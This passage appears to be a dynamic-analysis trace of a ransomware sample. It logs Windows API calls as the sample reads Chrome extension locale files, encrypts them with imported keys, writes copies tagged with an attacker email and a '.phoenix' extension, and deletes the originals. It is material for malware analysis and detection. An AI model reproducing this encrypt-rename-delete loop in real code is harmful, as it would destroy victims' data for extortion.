	[0258.143] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x150, lpOverlapped=0x0) returned 1
	[0258.144] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0258.144] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0258.144] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0258.144] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0258.144] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0258.159] CryptDestroyKey (hKey=0x151100) returned 1
	[0258.159] CloseHandle (hObject=0x258) returned 1
	[0258.160] CloseHandle (hObject=0x310) returned 1
	[0258.160] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json")) returned 1
	[0258.160] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0258.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0258.161] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=259) returned 1
	[0258.161] CloseHandle (hObject=0x310) returned 1
	[0258.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json")) returned 0x20
	[0258.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0258.161] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0258.161] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0258.161] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0258.162] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0258.162] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0258.162] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x103, lpOverlapped=0x0) returned 1
	[0258.168] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0258.168] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0258.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0258.658] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0258.658] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0258.658] CryptDestroyKey (hKey=0x151180) returned 1
	[0258.658] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0258.706] CryptDestroyKey (hKey=0x151380) returned 1
	[0258.706] CloseHandle (hObject=0x310) returned 1
	[0258.706] CloseHandle (hObject=0x258) returned 1
	[0258.706] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json")) returned 1
	[0258.707] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0258.707] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.269] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=243) returned 1
	[0259.269] CloseHandle (hObject=0x250) returned 1
	[0259.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json")) returned 0x20
	[0259.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.269] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.270] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.270] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.270] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.270] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0259.270] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.270] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xf3, lpOverlapped=0x0) returned 1
	[0259.271] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0259.271] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0259.272] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0259.273] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.273] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.273] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.273] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.273] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0259.273] CloseHandle (hObject=0x250) returned 1
	[0259.273] CloseHandle (hObject=0x240) returned 1
	[0259.273] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json")) returned 1
	[0259.275] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.275] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.275] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=257) returned 1
	[0259.275] CloseHandle (hObject=0x240) returned 1
	[0259.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json")) returned 0x20
	[0259.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.276] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.276] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.276] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.276] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.276] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0259.276] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.276] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x101, lpOverlapped=0x0) returned 1
	[0259.277] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0259.277] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0259.278] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0259.278] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.278] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.278] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.278] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.322] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.322] CloseHandle (hObject=0x240) returned 1
	[0259.322] CloseHandle (hObject=0x250) returned 1
	[0259.322] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json")) returned 1
	[0259.323] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.323] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.323] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=345) returned 1
	[0259.324] CloseHandle (hObject=0x250) returned 1
	[0259.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json")) returned 0x20
	[0259.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.324] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0259.324] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.324] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0259.324] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.324] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0259.324] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.324] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x159, lpOverlapped=0x0) returned 1
	[0259.325] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x160, dwBufLen=0x160 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x160) returned 1
	[0259.325] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x160, lpOverlapped=0x0) returned 1
	[0259.326] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0259.326] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0259.326] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0259.326] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.326] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0259.374] CryptDestroyKey (hKey=0x151640) returned 1
	[0259.374] CloseHandle (hObject=0x250) returned 1
	[0259.374] CloseHandle (hObject=0x240) returned 1
	[0259.374] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json")) returned 1
	[0259.375] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0259.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0259.376] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=263) returned 1
	[0259.376] CloseHandle (hObject=0x240) returned 1
	[0259.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json")) returned 0x20
